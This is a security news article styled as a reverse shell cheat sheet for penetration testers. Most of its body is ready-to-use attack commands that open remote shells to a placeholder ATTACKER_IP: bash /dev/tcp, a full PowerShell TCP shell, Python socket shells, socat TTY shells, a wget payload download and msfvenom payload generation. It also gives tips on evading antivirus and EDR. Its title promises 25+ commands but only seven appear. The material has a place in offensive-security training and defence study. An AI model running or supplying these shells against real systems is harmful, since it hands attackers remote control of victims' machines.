The Ultimate Reverse Shell Cheat Sheet: 25+ Commands to Make Your Payload Call Home

Listen to this Post

Featured Image

Introduction:

The anxious wait for a reverse shell callback is a universal experience for penetration testers and red teamers. This critical phase of exploitation, where an infected system initiates a connection back to the attacker’s machine, can be the difference between a successful breach and a failed attempt. Mastering a diverse arsenal of reverse shell techniques is essential for evading defenses and adapting to constrained environments.

Learning Objectives:

  • Understand and execute reverse shells across multiple programming languages and system binaries.
  • Configure and utilize a Netcat listener to manage incoming shell connections.
  • Apply techniques for obfuscation and stabilization to enhance shell reliability and evade detection.

You Should Know:

1. The Netcat Listener Foundation

Before any reverse shell can call back, you must have a listener ready. Netcat is the classic tool for this job.

Command:

nc -nvlp 4444

Step-by-step guide:

This command starts a Netcat listener on the specified port (4444). The `-n` flag skips DNS resolution, `-v` enables verbose output, `-l` puts it into listen mode, and `-p` specifies the port. Once a victim machine executes a reverse shell payload, the connection will appear here, granting you command execution.

2. The Bash TCP Reverse Shell

When you have access to a Bash shell, this is a quick and common method to initiate a reverse connection.

Command:

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Step-by-step guide:

This command uses Bash’s built-in `/dev/tcp` device file to open a TCP connection. `bash -i` starts an interactive shell. `>& /dev/tcp/ATTACKER_IP/4444` redirects both standard output and standard error to the TCP socket. `0>&1` then redirects standard input to the socket, creating a fully interactive channel.

3. The PowerShell Powerhouse

In modern Windows environments, PowerShell provides a powerful way to obtain a reverse shell.

Command:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Step-by-step guide:

This one-liner creates a TCP client, connects to your listener, and then starts a loop to read commands from the network stream, execute them via `iex` (Invoke-Expression), and send the output back. The `-nop` flag prevents loading the PowerShell profile, which is useful for speed and stealth.

4. Python for Cross-Platform Flexibility

Python’s standard library makes it an excellent tool for crafting cross-platform reverse shells, assuming Python is installed on the target.

Command:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(For Windows, use python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(['cmd.exe','/i'])")

Step-by-step guide:

This script imports the necessary modules, creates a socket, and connects to the listener. The `os.dup2()` calls duplicate the socket’s file descriptor to standard input, output, and error. Finally, it spawns a shell (/bin/sh or cmd.exe), which now uses the network socket for all its I/O.

5. Socat for Stabilized Shells

Netcat shells are often unstable and “dumb”. Socat is a superior tool for creating fully interactive, stabilized TTY shells.

Command (Victim):

socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Command (Attacker Listener):

socat FILE:<code>tty</code>,raw,echo=0 TCP-L:4444

Step-by-step guide:

On the victim, the command connects to the attacker and executes Bash with critical TTY options. On the attacker machine, the listener links the incoming TCP connection to your current TTY. This setup provides features like job control, signal handling, and a proper terminal, which is essential for running tools like `vim` or su.

6. Web Server One-Liner Hosting

Often, you need to host your payloads on a web server for the victim to download and execute. Python makes this trivial.

Command:

python3 -m http.server 8080

Step-by-step guide:

This command starts a simple HTTP server on port 8080, serving files from the current directory. You can then use tools like `curl` or `wget` on the victim machine (`wget http://ATTACKER_IP:8080/payload.exe`) to download your reverse shell executable or script.

7. MSFVenom Payload Generation

The Metasploit Framework’s `msfvenom` is the industry standard for generating encoded payloads that evade basic antivirus solutions.

Command (Generate a Windows Payload):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

Command (Generate a Linux Payload):

msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f elf -o shell.elf

Step-by-step guide:

This tool generates a standalone reverse shell executable. The `-p` flag specifies the payload type, `LHOST` and `LPORT` define the callback address, and `-f` specifies the output format. The resulting file (shell.exe or shell.elf) can be transferred to the target and executed.

What Undercode Say:

  • Diversity is Survival. Relying on a single reverse shell method is a recipe for failure. Modern EDR solutions and network filters can easily block common techniques and default ports. A successful operator must have a deep bench of options, from simple Netcat to custom binary payloads, ready to deploy when the primary method fails.
  • Stability is Not Optional. A basic, unstable shell that dies on the first Ctrl+C is nearly useless for post-exploitation. Upgrading to a full TTY with Socat or Python pty modules is a critical, non-negotiable step after initial callback. It transforms a fragile connection into a reliable command-and-control channel.

The comments on the original post reveal a shared, almost ritualistic, experience among professionals—the “silent prayer” that the payload works. This highlights that the challenge isn’t just technical knowledge; it’s the practical application and troubleshooting in unpredictable environments. The move away from standardized tools like Metasploit in favor of custom, compiled payloads, as mentioned by one commenter, points to an ongoing arms race between offensive tooling and defensive detection capabilities. Success hinges not just on knowing the command, but on understanding the context in which it will be deployed.

Prediction:

The future of reverse shells lies in increased sophistication and stealth to counter next-generation EDR and AI-driven security models. We will see a shift towards memory-only payloads, the use of legitimate but compromised communication channels (like HTTPS to cloud services), and the deep integration of AI to generate polymorphic code that dynamically alters its signature to evade detection. The “wait for the callback” will evolve into a more complex “handshake” involving authentication, encryption, and beaconing that mimics legitimate network traffic, making initial detection far more difficult for blue teams.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Kyserclark Meme – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky